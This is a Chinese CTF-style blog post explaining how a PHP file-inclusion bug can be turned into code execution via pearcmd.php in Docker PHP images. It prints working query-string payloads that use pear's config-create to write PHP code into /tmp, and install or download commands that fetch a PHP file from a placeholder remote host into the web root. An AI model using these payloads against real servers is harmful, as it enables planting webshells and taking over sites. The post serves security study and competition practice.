文件包含经典之pearcmd的妙用
2023年的ACTF后遗留下来的一个我一直没有总结过的的文件包含(过滤)的骚利用手段,在失去filterchain的情况下如何getshell?
pearcmd文件包含漏洞
这个手段似乎很早就出现了,2021年已经有相关博客,但是没有大规模的传播。
早在2021就有大佬做了详尽的总结Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)
简介
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;
在7.4及以后,需要我们在编译PHP的时候指定—with-pear才会安装。
不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php
。
要利用这个pearcmd.php
需要满足几个条件:
- 要开启register_argc_argv, 这个选项在Docker中使自动开启的
- 要有文件包含的利用
现在大部分CTF的环境都是利用docker搭建的,而现在的PHP题目的版本很大部分在7.4以上,所以这个利用的范围还是挺大的,可以试试。
利用
环境就先使用php7.4进行测试
HTTP数据包中的query-string会被作为argv
, 在docker下复现pearcmd应该是可行的,当然默认也存在pearcmd。
config-create
利用payload:
1 | ?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php |
文件包含的点是?file=
成功写入文件
使用的是PEAR_Config
的形式,方法来自p神博客。
install
pear install http://xxxx/test.php
就可以下载php文件,还可以用--installroot
指定目录,这样可以构造payload:
1 | ?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://xxxx/test1.php |
这个payload会将文件下载到网站目录的&file=/usr/local/lib/php/pearcmd.php\&/tmp/pear/download/
文件夹下,构造非常巧妙,访问时需要url编码,好处是可以直接访问到文件,不需要包含,当然可能存在没有写权限的情况,就需要另外构造:
1 | ?+install+--installroot+/tmp/testinstall+http://localhost/index.html+&file=/usr/local/lib/php/pearcmd.php |
这个payload会将文件下载到/tmp/testinstall/tmp/pear/download
下,当然还有别的形式:
1 | ?+install+http://localhost/index.html+&file=/usr/local/lib/php/pearcmd.php |
这个payload会将文件下载到/tmp/pear/download
下。
download
还有dowanload
形式,参考了:关于利用pearcmd进行文件包含的一些总结 | W4rsp1t3’s blog
非常聪明的构造:
1 | ?+download+http://xxxx/test1.php&file=/usr/local/lib/php/pearcmd.php |
原命令是pear download url
,和之前的install一样,&file=/usr/local/lib/php/pearcmd.php
这一部分会被加入pear
执行的参数中,在我们的服务器上构造会返回恶意代码的url:test1.php&file=/usr/local/lib/php/pearcmd.php
即可。
可以将文件写到当前网站目录下。
当然可能还有别的利用手段需要进一步挖掘。